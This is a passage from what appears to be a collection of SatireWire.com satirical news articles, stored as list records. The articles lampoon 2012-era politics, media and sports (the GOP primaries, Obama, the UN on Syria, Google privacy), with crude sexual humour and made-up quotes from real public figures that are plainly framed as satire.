out, young males across the country concede the thought of the rotund shock jock “massaging his microphone” makes them want to pull out. “My girlfriend uses it as a contraceptive,” said Nick Degregori of Nashville. “When I’m close, she just says, ‘Limbaugh!’ and next thing I know I’m shaking like a leaf and we’re watching Lifetime movies on the couch. I really hate the guy.” At Washington University in St. Louis, sophomore Gina Moss said she has modified her rape whistle to take advantage of the development. “It doesn’t make a shrill sound. Instead, when I blow, it blares: “We want you to post the videos online so we can all watch,’” she said. “I hope to God I never have to use it.” '], ['no-topic', 'HOPEFUL SPERM CELL WANTS TO TRY IT WITH EGG FROM BEHIND', "BALTIMORE, MD. (SatireWire.com) — A sperm cell’s hopeful attempts today to convince an egg they should “try it from behind” have so far been rejected by the egg, who called the suggestion pointless, unnatural, and probably not even hygienic. The sperm insists there's nothing wrong with being a little inventive. Pleas that the ovum at least talk dirty to the sperm have also proved fruitless and frustrating, the participants agreed. The spermatozoon and ovum, belonging to husband-and-wife John and Sara Avides, 26, of Baltimore, got into the argument shortly after meeting this morning following the Avides’ weekly sexual encounter. “At first everything’s normal. He’s using his motility and acrosomal enzymes to penetrate my zona pellucida and get to my oocyte,” said the egg as the now-brooding sperm flagellated nearby. “But then suddenly he stops and has this look. I say, ‘What’s up?’ and he says, ‘I was jus thinkin’…’ “Well you know what it means when a sperm says he’s ‘jus thinkin’. It means he’s ‘jus thinkin’ of how he can talk you into something you ain’t gonna like.” The sperm, however, proclaimed his innocence. “She’s got it got it all wrong,” the sperm insisted. “I just think we should try something different, just this once. I promise I’ll be gentle. I bet she’ll like it.” The egg’s chilly response made it clear the idea was a non-starter. “I told him, ‘You’re a sperm, I’m an egg, so let’s just do our jobs and get this over with,’” stated the ovum, who threatened to deactivate her receptors if he persisted. “Why’s he suddenly want to take me from behind, anyway? I mean, it’s pointless. I don’t think I even have a behind, and if I do, it ain’t open for his business.” Fertility expert Dr. Lauren Sweshtein of the Yale School of Medicine believes societal change on the human level may be to blame. “With the Internet, men have more access to porn than ever before, and as a result they need more stimulation to maintain excitement,” Dr. Sweshtein explained. “I’m not surprised this has trickled down to the gamete level. After all, a sperm is nothing but a man with a better sense of direction.” But the egg said she was surprised, particularly when her progenitive suitor repeatedly asked her to “bend ovum and relax.” “I was like, ‘For the last time, you can get into my oocyte, but stay away from my no-no-site, comprende?’” she said. “Then I’m like, ‘Give it up’ and he’s like, ‘You give it up,’ and I’m like ‘What is wrong with you?’ and he’s like, ‘What’s wrong with you?’” After a brief and ineffective sulk, the sperm said he abandoned that approach and tried a different tack. “I told her if she wants my glycoproteins, she’s got to be less procreate and more pr0ncreative,” he explained. “She could maybe talk dirty to me, or fantasize a bit, call me Coach Johnson or Principle Williams, something like that.” The egg summarized that proposal in two words: “Awkward and creepy.” At press time the sperm and egg were still not fertilizing. "], ['no-topic', 'ITALY TO HALT CRUISE SHIP PROGRAM IN RETURN FOR U.S. AID', 'ROME (SatireWire.com) – Moments after today’s announcement that North Korea will halt its nuclear program in exchange for 240,000 metric tons of food, Italy agreed to stop operating cruise ships in return for substantial U.S. aid. While the North Korean nuclear threat is theoretical, the Italian cruise ship danger is "very real," said Secretary of State Clinton. While both agreements are meant to safeguard lives, U.S. Secretary of State Hillary Clinton said freezing Italy’s cruise ship program was “absolutely vital” after the Italian-run Costa Allegra was left adrift in the Indian Ocean and the Costa Condcordia ran aground in the Mediterranean. “The North Korean program is still developmental – they might someday have nuclear weapons; they might someday launch a missile,” Clinton said. “But the Italians have launched two cruise ships in the last month that have killed or injured more than 100 people. And if you look at their passenger list, no one is safe: Americans, Britons, Canadians, Swedes, Chinese, Russians.” “Make no mistake, the Italian cruise ship threat is very real,” she added. “But thanks to this agreement, the world is a safer place today.” Under the U.S.-North Korean deal, Pyongyang will place a moratorium on nuclear activities – including long-range missile testing – in exchange for nutritional assistance valued at $150 million. The U.S.-Italian pact, which will cost a similar amount, calls for U.S. transportation safety inspectors to verify and monitor the moratorium on cruise activities and confirm the disablement of any and all Italian-registered vessels. It also requires Italy to sign a CSNPT, or Cruise Ship Non-Proliferation Treaty. “We, of course, will be watching closely and judging North Korea’s leaders by their actions, and Italy’s cruise ships by their inaction,” said Clinton. “Our hope is that Italy will give up cruise lines altogether and join the international community of passenger-only nations.” U.S. Homeland Security Secretary Janet Napolitano, however, warned that the agreement does not necessarily put an end to the threat. Both the FBI and CIA will keep an eye out for potential Italian cruise sleeper cells, she said. “So far these Italian vessels have stayed close to home, but we should remain vigilant,” Napolitano noted. “We don’t want to wake up one day and find an Italian cruise ship in our backyard. And I mean backyard. If it gets close to shore, that’s probably where it will end up.” '], ['no-topic', 'STUDY CONCLUDES BEIJING IS 13 HOURS AHEAD OF WASHINGTON', 'WASHINGTON D.C. (SatireWire.com) — A three-year government economic study has concluded the U.S. has fallen behind China because Beijing is 13 hours ahead of Washington and therefore knows what’s going to happen more than half a day before the United States. As a result of unfair time practices, when Apple launches a new iPad in the U.S., China has already been making knock-offs for half a day. “This is not going to be easy for Americans to hear, but we have incontrovertible proof that when it’s morning here, it’s night there, and when it’s night here, it’s the next day there,” said U.S. special envoy Carter Brightman. “Put simply: China is living in the future and we’re living in their past. How are we supposed to compete on such an unlevel playing field?” As a result of their investigation, Brightman and his colleagues believe the U.S. should stop focusing on China’s unfair trade practices and instead denounce the Asian giant’s “unfair time practices.” “The Chinese claim they make things faster and cheaper, but they don’t make them faster, they just make them earlier. Because of the time difference,” he said. The imbalance also helps spur the prolific Chinese knock-off market, said economist Angela Crowley, who led the study. “Let’s say Apple is going to launch a new iPad at noon on a Monday. Well, noon Monday in China is 9 o’clock Sunday night in California because they’re even at more of a disadvantage – they’re 16 hours behind. The end result is, Apple hasn’t even launched the product yet and China’s already making knock-offs.” Chinese officials dismissed the allegations, insisting the time difference is nothing more than the result of Earth’s rotation. Crowley and Brightman, however, said the discrepancy is more systematic than that. “The first time we went to Beijing, our watches said it was 9 a.m., but their watches said 10 p.m.,” Crowley recalled. “It wasn’t just one or two people acting like it was 10, either. It was everybody. All the clocks said it was 10 p.m. People had already finished dinner. Some had gone to bed. And it was dark.” Explained Brightman: “The Earth doesn’t set people’s watches. The Earth doesn’t make dinner. The Earth doesn’t put you to sleep. No, this was a nationwide effort to exist in the future at our expense.” And what about the dark? “We don’t know,” said Brightman. “They have a huge workforce. Maybe they painted the sky black or damned the sun. You might think that’s not possible now but maybe they can do that kind of thing in the future. In China.” '], ['no-topic', 'GAS-PRICE PROTESTER CAN’T AFFORD TO SET HIMSELF ON FIRE', 'LOS ANGELES, CA (SatireWire.com) – A desperate 33-year-old man attempting to set himself on fire to protest rising gas prices abandoned his demonstration today after he was unable to afford the gallon of fuel needed to douse himself and light a match. James Whynatt sits unlit in L.A., where he awaits lower gas prices before trying again. James Whynatt, an unemployed truck driver from Los Angeles, said he wanted to make the “ultimate sacrifice” to let oil companies and the government know, “how desperate and upset Americans are with fuel costs.” But when he went to his neighborhood gas station this morning, he found the price had jumped to $4.98 a gallon. “Just last week it was $4.69, and frankly that was cutting it close,” said Whynatt. “Five dollars a gallon is outrageous. Even if I could afford to set myself on fire, I wouldn’t do it now on principle. I may have mental health issues, but I’m not crazy.” While agreeing it was a wake-up call, Whynatt’s plight immediately set off a fierce debate among environmentalists, industry lobbyists and consumer groups as to who is at fault for keeping the self-styled activist from achieving his goal. “We should open up wildlife reserves to more drilling and lower prices so that brave young Americans like James Whynatt can afford to set themselves on fire,” said Richard Balkirk, chief lobbyist for the American Fossil Fuel Council. “We need to break our dependence on foreign oil, and if the administration had listened to us when we asked for this three years ago, that man would be a proud pile of ashes right now.” Jane Peloral, director of the American Environmental Union, called that solution “unworkable.” “Studies show it would be a decade or more before new drilling made an impact on the domestic market, and by then Mr. Whyatt could have a job and a family and a reason to live,” she said. “If this is a wake-up call, it should open our eyes to the need for renewable sources of energy so that Mr. Whynatt’s children and grandchildren can live in a world where they can afford to set themselves on fire.” Republican presidential hopeful Rick Santorum, however, said those alternative sources of energy already exist. “Right now, today, Mr. Whynatt could rub himself all over with clean, affordable coal,” Santorum said. “Not only would he burn more slowly and evenly, but just think of the number of American workers he would be supporting.” Though fairly rare in the United States, self-immolation is a more common, if gruesome, form of protest in the Middle East and Asia. While no one has suggested Whyatt go overseas to achieve his aim, the Gulf Coast Tourism Board has extended an invitation. “Since Katrina and the oil spill, we’ve really turned things around down here in Louisiana, Mississippi, and Alabama,” said BP spokeswoman Mavis Couttier. “Gas is cheaper, the people are friendly, and you only have to dip your toe in the ocean once to be highly flammable.” Whyatt, however, said he’ll stay in L.A. and wait until gas prices come down before trying again. Until then, he will protest by pointing out that he can’t afford to protest. “Nowadays, the only people who can afford to set themselves on fire are the rich, and they’re very people who don’t want to set themselves on fire,” Whynatt said. “That right there tells you how messed up the system is and how much we need to change it.” '], ['no-topic', 'GOOGLE TO BECOME ‘GOOGLE-BFF’ – ‘SO TELL US EVERYTHING’', 'MOUNTAIN VIEW, CA (SatireWire.com) – In an effort to stamp out any objections to the vast amount of personal information it gathers, Google today said it will change its name to Google-BFF, thereby making it “perfectly normal” for the company to know everything about you because you and the search giant are now officially Best Friends Forever. Women searching at Google BFF will see a generic friendly woman chatting on a phone (above), while men will see Zach Galifianakis. Privacy advocates immediately condemned the announcement, calling it a trick designed to fool, “young, lonely, and insecure” people into thinking it’s OK to share information with a “soulless corporate entity.” Google-BFF spokesman Mike Amigo called those charges “inaccurate” and “hurtful.” “First of all, as the Citizens United ruling made clear, we’re not just a company, we’re a person,” said Amigo. “And speaking as a person, calling us ‘soulless’ hurts. It hurts a lot. “We’re just trying to make friends, alright?” Amigo went on, after a pause. “With everybody. Because we’re that kind of person. The kind of person who wants to know everything about you no matter who you are. Because no matter what, we’re your friend. Your best friend. Forever.” As if to underscore that approach, the “Google Search” and “I’m Feeling Lucky” buttons on Google.com’s home page have been replaced by a single box reading, “Search. For Anything. We’ll Still Love You.” Many Google-BFF users welcomed the newly minted relationship. “I used to think that they wanted my information just so they could sell to me, but now that we’re best friends, I feel really bad for even thinking that,” said Waco, Texas dietician Mandy Chinsea, who shares her life with Google-BFF through Gmail, YouTube, Google Maps, and her Android phone. “I’ve never had a best friend before. Probably they know that, and still they want to be my… I’m gonna cry.” For Vanessa Strangalend, a high school junior in suburban Denver, Google BFF is already better than her former “supposed” best friend. “My last BFF was my boyfriend – I know, major mistake — and believe me I shared too much,” Strangalend said. “We were great, really hitting it off, until I told him I hated Hell Boy movies, and was really 16, and had Chlamydia. Poof, he was gone. Not even a phone call. Why are guys so sensitive about Hell Boy?” Privacy advocate Ian Derschwald, however, urged Google-BFF users not to get too involved with the Internet behemoth. “The ability to know where you’ve been, what you’ve searched for, what you watch, and even what you think essentially makes Google a combination of your mother, your lover, and your drinking buddy,” Derschwald warned. “That’s not really a good all-in-one combination, if you think about it.” Despite the warnings, Rutgers University freshman Viv Carlotti said she can’t wait to use Gmail and Google+ to dish on her ex-BFF Jenna Vertuccini, “who totally told Richard Patterson that Carla Whitehead did it with Robbie Givens even though I told Jenna not to tell Richard about it because Carla told me she likes Richard and it was a secret and Jenna did it on purpose because she’s been throwing herself at Richard who actually hates her and that makes her a total bitch and I bet my Google-BFF will agree.” Learning of the allegation via Viv’s Google+posting, however, Google-BFF’s Amigo insisted the company has no interest in judging its users. “We collect information in order to create a better user experience, a better friend experience,” said Amigo. “We do not in any way use the data to form a personal opinion on any of our best friends, including Jenna Vertuccini or Viv Carlotti.” “Are you serious?” Viv replied. “Jenna is a total slut!” “Oh my God I know, isn’t she?” answered Amigo, before catching himself. “I mean, no. No, Viv, I can’t let you talk that way about one of our BFFs.” '], ['no-topic', 'OBAMA CONDEMNED FOR SLEEPING LAST NIGHT', 'WASHINGTON D.C. (SatireWire.com) – In a gaffe that may cost Barack Obama the election, the White House today admitted the President slept last night, a revelation that outraged Republicans who questioned how anyone could sleep “while America suffers.” Republicans quickly circulated this parody of the Obama "Hope" poster. “Thirteen million Americans are out of work, Iran is building nuclear weapons, our soldiers are dying in the Middle East, and Barack Obama just goes to bed,” said Senate Minority Leader Mitch McConnell, R-KY. “Nighty-night America. See you in the morning. If you’re still there!“ The firestorm erupted at a press briefing when White House Press Secretary Jay Carney mentioned that the President woke up and exercised for about an hour this morning. “When you say he ‘woke up,’ do you mean that prior to that, he was asleep?” a Fox News reporter asked. “Well yes,” Carney responded. “Waking up usually comes after… oh. No. Hold on. Let me get confirmation on that.” But it was too late. The damage had been done. Republicans immediately took to the airwaves insisting the job of president is 24-7, not 18-7. “Statistics tell us that about 7,000 Americans die every day; that’s 290 an hour,” said Republican Party Chairman Reince Priebus. “So let’s see, while the President slept his six precious hours, 1,750 Americans died. They died. And he did nothing!” “On top of that, an average of three Americans are injured or killed in house fires every hour,” added Minnesota Congresswoman Michele Bachmann. ”Where was the President last night when 18 hard-working citizens of this country were on fire?” Obama aides later tried to explain that the President was tired from “doing the people’s business” and, like all humans, “works better” when he’s had some rest. But critics would not let up. “Oh wouldn’t we all do better if we ‘slept’?” replied Bachmann, who boasted that she has not been able to close her eyes since she was twelve. “What a luxurious life Obama must lead to curl up in his nice comfy bed and west his weary wittle head. While the people burn!” Of the Republican presidential hopefuls, all immediately pledged not to sleep if elected, while Mitt Romney insisted that the few times he has slept, he has done so, “severely conservatively.” Scientists say sleep deprivation is unhealthy, as it can lead to confusion, disorientation, and even declarations of war against Iraq. But analysts say the admission could do lasting damage to Obama’s chances come November. “This looks bad for the President,” said historian Michael Beschloss. “As Commander in Chief, you have to be more careful about when, how, and if you sleep.” Beschloss said U.S. presidents have a long and contentious relationship with slumber. Bill Clinton went to bed often – but not to sleep – while Ronald Reagan actually slept through his entire eight years in office. President Franklin D. Roosevelt hung his head for long periods during the Great Depression, although aides insisted he was not sleeping but just “very very sad.” Millard Fillmore slept often as a means to forget — even for a few hours — that his parents named him Millard. Throughout Abraham Lincoln’s presidency, he rarely found sleep as he was plagued by the waking national nightmare that was Mary Todd Lincoln. Founding Father Thomas Jefferson rarely slept when having a lie-down as he found slave beds uncomfortable, while Richard Nixon never dozed off on the principle that “evil never sleeps.” '], ['no-topic', 'JEREMY LIN SETS KNICKS RECORD FOR NOT SUCKING', 'NEW YORK (SatireWire.com) – With seven consecutive strong games under his belt, point guard sensation Jeremy Lin has set a New York Knicks franchise record for not sucking. Lin also set team records for not sucking in game, not sucking on a road trip, and not sucking on his home debut. Lin actually set the record after two consecutive games, but club officials said they were too stunned to realize it at the time. The Knicks, who last won a championship in 1973 and have a combined 321-499 record (39%) in the last decade, were 8-15 before “Linsanity” took hold. The club-altering moment came on Feb. 4, when Lin played a solid first half against the New Jersey Nets and Knicks forward Carmelo Anthony urged coach Mike D’Antoni to let Lin start the second half. “Coach, put him back in,” Anthony said. “This kid’s different. He doesn’t suck.” “I know. What’s he doing here?” D’Antoni’s responded. Since then, the Asian-American wunderkid has averaged more than 20 points and 8 assists, leading the Knicks to a .500 record on the season. “It’s dizzying way up here at .500,” said forward Jared Jeffries, now in his sixth season with the Knicks. “Seriously. I passed out for the entire fourth quarter last night.” Analysts say Lin has gotten this far because of hard work, dedication, and the fact that he wasn’t drafted by the Knicks, “because if had he would have sucked.” “That Lin has played even this long without failing is remarkable because, well, you know… Knicks,” said WFAN’s Mike Francesa. “I think it’s going to take longer than usual for New York fans to turn on him and started chanting, ‘Linbecile! Linbecile!’” New York Daily News sportswriter Mike Lupica agreed. “Right now it’s amazing we can rely on this unsung Asian-American kid to be our leader. But eventually it will be inexcusable that we rely on this unsung Asian-American kid to be our leader. Sorry, it will be ‘Linexcusable.’ I get first dibs on that one.” “Alright, but I’ve got Lineffective, Linept, and appallin’,” Francesa responded. “Not that I’m saying that’s gonna happen soon, but, well, you know… Knicks.” '], ['no-topic', 'SYRIA CRISIS IMPELS U.N. MEMBERS TO CONSIDER SKIPPING LUNCH', 'NEW YORK (SatireWire.com) — As the Syrian crisis deepens amid daily attacks on innocent civilians, United Nations delegates today said they had no choice but to seriously consider skipping lunch one day this week to talk about it some more. As Syrian cities continue to be bombed (top), Russian Foreign Secretary Sergei Lavrov (bottom right) and colleague look over the U.N. commissary lunch menu. After failing to pass a resolution condemning the Syrian crackdown last week, delegates said they were not willing to wait for a planned meeting next week to do something decisive. “The deplorable actions of the Syrian government against its own people cannot be allowed to continue undiscussed,” said France’s U.N. Ambassador Gerard Araud. “If that means we need to shorten our lunch break, or even forego lunch altogether, we should be willing to make that sacrifice. Although not today as chicken tetrazzini is on the menu.” In a chilling address to the General Assembly on Monday, Navi Pillay, the U.N.’s human-rights chief, said at least 5,400 civilians were killed last year and hundreds more have died in the past week in the government crackdown. Reports of torture and rape are widespread, fears of starvation are mounting and Pillay urged members to act immediately. In a non-binding response, the horrified Assembly voted 163-34 in favor of ordering the grilled chicken Caesar salad without the grilled chicken as a show of solidarity. “Fellow delegates, a Caesar salad takes only a few minutes to make, while the grilled chicken adds another 20 minutes to the order,” German U.N. Ambassador Peter Wittig said in an impassioned speech from the chamber floor. “With so many men, women and children suffering every minute, frankly that’s time we simply don’t have. “And I’m on a diet anyway,” he added. “Does my translator make me look fat?” Syria’s U.N. Ambassador, Bashar Ja’afari, however, voted against the non-binding lunch resolution, calling it “an intrusion on Syrian sovereignty” as he had already committed to the couscous with lamb. The bold move to reconsider lunch is not the only action the international community has taken to stem the daily bloodshed. Next week the assembly is scheduled to discuss a non-binding resolution to organize a committee to consider sending an envoy to Syria at some point in the future. And just last week, the Security Council very nearly passed a resolution supporting an Arab League proposal calling on Syrian President Bashar al-Assad to step aside. Russia and China vetoed the Security Council resolution and voted against any changes to lunch, arguing that both were biased against the al-Assad regime. “The Syrian Army is shooting, yes, but we must also consider that innocent civilians are dying, so really both sides are playing a role here,” Russian Foreign Minister Sergei Lavrov explained. “We will agree to the abstention of lunch as soon as the government stops the indiscriminate killing, and the Syrian people stop the indiscriminate dying.” China’s U.N. delegation head, Li Baodong, agreed, saying that while al-Assad refuses to talk, opposition leaders are equally difficult to communicate with. “Yesterday I had the most disagreeable conversation with a man trapped in (the besieged city of) Homs,” said Li. “The bombs going off made him impossible to hear. I told him it was much too loud where he was. ‘Just find a quieter spot,’ I said. ‘But if I go out I’ll be shot!’ he said. Honestly, some people can’t commit to anything.” '], ['no-topic', 'CNN ACCIDENTALLY AIRS FOOTAGE OF UPCOMING U.S.-IRAN WAR', 'ATLANTA (SatireWire.com) — Pentagon officials were furious with CNN today after the network failed to respect a media embargo and accidentally aired footage of a successful Navy missile strike from the third week of the upcoming U.S.-Iran war. The footage of U.S. strikes against an Iranian nuclear facility (top) and missile launcher are not real yet. The news network immediately apologized for showing the grainy, 10-second clip of a cruise missile bearing down on an alleged nuclear weapons facility outside Tehran. It came on screen just as anchor Wolf Blitzer was heading into a commercial break, and took him by surprise. “When we come back,” Blitzer said, “amazing video from Operation T.B.D. of U.S. air strikes on an Iranian military facility that the Navy says completely destroyed… hold on. I don’t think we’re supposed to use this yet … Are we? … No. So our viewers should… to our viewers, that’s… just ignore that.” The Pentagon provided substantial footage of the upcoming war –- currently labeled ‘Operation To Be Determined’ pending focus group results — to all major news networks last week, asking it not be shown until the conflict starts, most likely in early 2013. Such embargoes are common, notably in business journalism, where reporters are given advance notice of a new product or service but are asked to delay publication until the company is ready to announce. In the case of war journalism, pre-packaged footage – particularly missile strikes – can be created using CGI or re-purposed from previous wars, although the Pentagon expressly forbids the media from revealing that information. News networks agree to the restrictions because it gives them an opportunity to prepare. “We want to be proactive instead of reactive and that footage allows us to work ahead on graphics, titles, lead-ins, how to play the story,” said Fox News editor Malcolm Strong. “We also want to make sure we have the right pundits on to discuss it. If you’ve got a retired Army colonel on the air and suddenly you get footage of a Navy strike, that’s just embarrassing.” At MSNBC, editor Kelly Parsons said the network did consider blowing the whistle on U.S. war plans, but concluded it would put too many people in harm’s way. “If we expose the war now, we jeopardize literally months of hard work by our staff,” she said. “We’ve got the escalation of war segments, the last minute diplomatic attempts, a two-hour ‘On the Brink’ special slated for November, and the big U.N. vote in January. We’ve already booked the panelists. The bidding with CNN was vicious.” Iran, however, was outraged, with one Iranian general insisting the video proves America has never been interested in a diplomatic solution to Iran’s nuclear threat. “Clearly the existence of this false footage proves America intends to go to war with Iran, but when they do, we will be ready,” said Gen. Walid Mujareen. “We have already prepared footage of that same strike, but in ours the missile actually hits a baby milk factory and kills 900 innocent civilians. Iranian forces also shoot down six American planes and capture a dozen pilots, all of whom confess to something. We haven’t decided what. “I can give you that video now, but it’s under embargo until I say use it, OK?” he added. '], ['no-topic', 'GOVT ADMITS IT AIMED RULE AT ONE PARTICULARLY HOT CATHOLIC NURSE', 'WASHINGTON (SatireWire.com) – The administration today backed off a requirement that religious employers provide birth control coverage after conceding the entire rule was actually written in a government attempt to hook up with a particularly hot 23-year-old Catholic nurse in Cleveland. The government would very much like Julie to be a friend with (health care) benefits. The rule called for religious organizations to include contraceptive coverage for all employees, but officials said they were mostly concerned with just the one. Identified as “Julie,” the young, single nurse works nights and every other weekend in the Cardiac Intensive Care Unit of Sacred Heart Hospital, and is described in government documents as, “a cute, cheerful brunette with big brown eyes and a smile that just, like, wow.” A government cost-effect analysis of the mandate estimated that providing free birth control pills to workers would lower the number of unwanted pregnancies, and providing free birth control pills to Julie would lower her objections to sex. It would also lighten her financial burden, thereby allowing her to work less and be free next Saturday night. Ideally, if things worked out, the date would conclude at her place, at which point, “Hey, you never know,” the analysis concluded. The requirement, however, raised the ire of Catholic Church officials, who said it violated their moral values and infringed religious liberty. In a compromise reached Friday, the administration said it would require insurers, and not Catholic employers, to provide access to contraceptives. However, officials pointed out they remain committed to the health and welfare of all American women. “But particularly Julie,” the Department of Health and Human Services said in a press release. “Seriously. Call us. We will totally pay for your birth control pills. Think of us as friends with (health care) benefits.” Should things go well, the HHS dismissed the potential use of a condom, explaining “if there’s one thing the American people don’t want, it’s another layer of government. Also it doesn’t feel natural.” '], ['no-topic', 'OBAMA SERIOUSLY STARTING TO THINK GOP ISN’T EVEN TRYING', "WASHINGTON (SatireWire.com) – With yet another flawed front-runner taking the lead in a GOP campaign seemingly bent on self-destruction, President Obama today privately told friends he is starting to think the Republicans aren’t even trying. Considering the GOP field, President Obama has not ruled out the possibility that he is being Punk'd, sources say. “Seriously, this is not even funny anymore,” an upset President reportedly told aides. “Look at what they’ve come up with so far: the world’s wealthiest robot, a number stutterer in a pimp hat, a serial abandoner with an anger fetish, a paranoid orange billionaire, a George W. sound-alike who can’t count to three, a homophobic pork-barrel Catholic on steroids, and a crazy woman whose eyes are so scary that when she talks to God, even He can’t look at her. “They’re not nominating someone for ‘Creepiest Kid in School’ or ‘Circus Freak of the Week,’” the distraught President went on. “They’re nominating someone to run against the President of the United States. Even if you don’t like me, respect the office. Respect the process. At least try.” Publicly, the White House insists the President is focused on the economy and paying little heed to the GOP primaries. Privately, however, sources concede Obama is considering an executive order that would require Republicans to at least appear to care. “Not only is one of their ‘strongest’ candidates named Newt – Newt! – but he wants to start a moon base?” Obama is said to have complained yesterday. “He wants it to be our 51st state? I mean come the fuck on. That is just phoning it in. That is not taking this seriously at all.” Earlier in the week, after Republican Rick Santorum won three state contests, Obama reportedly shut himself in the Oval Office bathroom. “He had just Google’d the word ‘Santorum’ and saw the first result, you know, the one that defines ‘Santorum’ as a by-product of anal sex,” the source said. “The President was pretty upset. He threatened to start a Super Pac for (Republican) Chris Christie.” Of course, political parties have fielded weak candidates before, even joke ones: ditzy actress Gracie Allen in 1940, comedian Pat Paulsen starting in 1968, Mass. Gov. Michael Dukakis in 1988. But the President believes strongly that a federal election campaign should not be a joke, insiders say. “I mean it, if one of these people gets the nod, forget it,” Obama told staffers. “I’ll be like, ‘Let’s have a debate at a university’ and they’ll be like, ‘No let’s have a debate at an evangelical pizza casino moderated by a horny salamander who recites Bible verses calling for the destruction of Uzbekibekibekistan while we stand in vats of amniotic fluid crying for the unborn and rubbing our bodies with clean, affordable coal.’ I’m serious. They just don’t care.” Sources say the President has also not ruled out the possibility that he is being Punk’d. "], ['no-topic', 'ANALYSIS SHOWS EVERY SUPER BOWL COMMERCIAL WAS PRO-OBAMA', 'NEW YORK (SatireWire.com) — It is entirely true, as Republicans claim, that Chrysler’s “Halftime in America” commercial, run during the Super Bowl and starring Clint Eastwood, was blatantly pro-Obama. After all, “halftime” clearly refers to it being halfway through Obama’s presidency. The ad’s assertion that Chrysler survived “tough times” is an obvious thank you for the government bailout. And at least one of the actors in the spot is African American. Just like President Obama. But what of the rest of the Super Bowl spots? Here’s the chillingly spot-on GOP analysis. DORITOS – SLINGSHOT BABY First, let’s all agree Doritos is a Spanish-sounding word and that illegal aliens speak Spanish. In this commercial, a young boy is holding a bag of illegal aliens. Grandma and baby brother want them, so grandma literally slingshots the child at the illegals. The liberal message: “Illegal aliens are yummy and we should do whatever it takes to embrace them.” And is it coincidence that “Barrack” is a crunchy sound? BRIDGESTONE – PERFORMANCE FOOTBALL Former quarterback Troy Aikman throws a football made from the same material as Bridgestone tires. The football curves wildly, which means defensive back Deion Sanders can’t make the interception. Seem innocent? Hardly. Aikman wears jersey number 8, as in 2008, when Obama was elected (and won New “Jersey”). Deion wears number 21, which is like saying, “Hey, everyone who’s 21, vote for Obama.” Because they all do. And of course 21 is just 12 reversed, as in the 2012 election. And since Deion ‘loses’ the competition in the commercial, this ad is clearly stating, “Don’t reverse your vote in 2012 because you’ll lose.” (NB: Here’s a clever subtext they don’t want you to think about – tires are made of rubber. Rubber is another word for contraceptive. Contraceptives are what Obama wants everyone to wear. Even children and old people.) COCA-COLA POLAR BEARS Polar bears are so cute. Look at them dancing and playing and watching TV and drinking Coca-Cola. We really do love them. In fact, hmmm, aren’t they in some kind of trouble? Why yes, yes they are! Global warming! Oh my God, save the polar bears! Save the ice caps! Reduce carbon emissions! Over-regulate industry! Raise taxes! Veto drilling rights for oil and gas reserves right here at home in (North) America! Think of the polar bears! … blech. This spot is worse than The Day After Tomorrow. But I think David Axelrod, or whoever wrote this, miscalculated. The protagonist is fat and white. It’s like giving Newt free face-time. BUDWEISER – RETURN OF THE KING Prohibition is over. Everyone in town is excited as they run to the bars to have a drink. (Metaphorical Kool-Aid?) Please. These people leave their jobs, their factories, even their fields and follow a bunch of horses and a Dalmatian (half black/half white. Hmmm…) And for what? A cheap, watered-down buzz. Yeah, let’s all get high and abandon the economy! Vote Obama! ACURA – SEINFELD V. LENO Pretty straightforward. A white, wealthy business executive (America) has dibs on the first Acura NSX (New Technology). Jerry Seinfeld (Jewish) desperately wants it and offers the businessman his most prized possessions. But at the last minute, America deprives Israel of the new technology and instead hands it over to Jay Leno. I’ll do the math for you: Jay Leno=Big Chin=Where do Chins live?=China. Disgusting. CHEVROLET – THE APOCALYPSE Basically a sequel to the Clint Eastwood propaganda. It’s post-apocalypse and everything appears dead (Thanks Obama!) Then out of the ashes a Chevrolet (bailout money) Silverado pickup emerges. Eventually several bailout pickup truck owners get together. One explains that a friend didn’t make it ’cause he drove a Ford (i.e., he didn’t take bailout money). Message: bailouts are good, capitalism is bad. Drive a Silveradobama! (NB: You’ll notice at the end that the black bailout truck owner is holding the Twinkies. That means something. We’ll get back to you.) NFL TIMELINE Viewers beware, for this spot’s obvious progressive slant undermines your very faith. It’s all about the evolution of football. You heard right, the “evolution” of football. Not the “creationist view” of football or even the “intelligent design” of football. Evolution only. It’s Obama’s way or the highway. Tim Tebow didn’t appear fully formed, oh no. Apparently he’s the product of years of adaptation and change. Oh, and you’d be blind not to see that some of the players in this ad are on a team called the Cowboys. By which I mean Cowboys=The West=Western Movies=Brokeback Mountain=Gays=Obama. AUDI – VAMPIRE CAMP A vampire drives up to a campground full of vampires. His Audi headlights are so bright the undead fangbangers explode. Funny, right? Except liberals constantly point out that venture capitalists are blood-sucking vampires. So when the car shines its lights on the vampires, Audi really wants you to think: Boom! Mitt Romney’s dead! Boom! Another Mitt Romney’s dead! Boom! Ha ha, killed another Romney! The subtext: Audi – a foreign company – saves America. Obama – a foreign president – saves America. I don’t even have to stretch for that. M&Ms – JUST MY SHELL A very intelligent, female, brown M&M is talking at a party. She discusses how people always think she is “naked,” and rolls her Ivy League elitist eyes. Then a male red M&M shows up, sees brown M&M, and says, “So it’s that kind of party!” Red M&M strips off his shell, revealing his naked brown body, and starts to dance. That the star of the show is brown and smart and Michelle Obama is the obvious part. The red M&M threw me until I realized that red is the color of communism, and when you strip away their façade, you’ll find a brown man. In the White House! HONDA CRV – FERRIS BEULLER Oh my God this is like a liberal manifesto! Matthew Broderick, reprising his Ferris Bueller role, calls in sick to work. (Like the Obama economy.) Then Broderick (Obramarick? Ferrack?), instead of doing the responsible thing, plays hooky. You’re not certain it’s supposed to be Obama until you see Broderick driving his CRV with a giant panda bear in the passenger seat. That’s right, in Obama’s America, China rides shotgun! But wait. He then joins in a Chinatown celebration where he sings for them. The message: “I no care about future, I just want make Chinese happy happy!” In the end he doesn’t say CRV stands for “Chinese R Victorious,” but that’s what he means. H&M – DAVID BECKHAM Steamy, sinewy David Beckham, covered in tattoos and pheremones, posing in his underwear. It’s a classic diversion: “Hey America, it’s David Beckham’s butt! Don’t look at the economy! Don’t look at wasteful spending! Don’t look at the regulatory burdens on small business! Oh no! Let’s just all check out that butt!” It’s also really “cowboy.” Cowboy=Obama. PEPSI – RESPECT Elton John is the king. He doesn’t want to share his Pepsi. His subjects try to entertain him to get some. Acrobats, dancers, jesters. When they fail, he pushes a lever. They fall into the dungeon. Then Melanie Amaro comes in, sings “Respect”, wins the crowd over, and drops Elton through the hole to the dungeon, where he meets Flava Flav. Honestly, who wrote that? Nancy Pelosi? I’m not gonna waste my breath explaining it. '], ['no-topic', 'JFK DID NOT HAVE SEX WITH EVERYONE: REPORT', 'WASHINGTON, D.C. (SatireWire.com) — According to a new report, there were thousands — and possibly millions – of young women in the United States that President John F. Kennedy did not have sex with. In Berlin, President 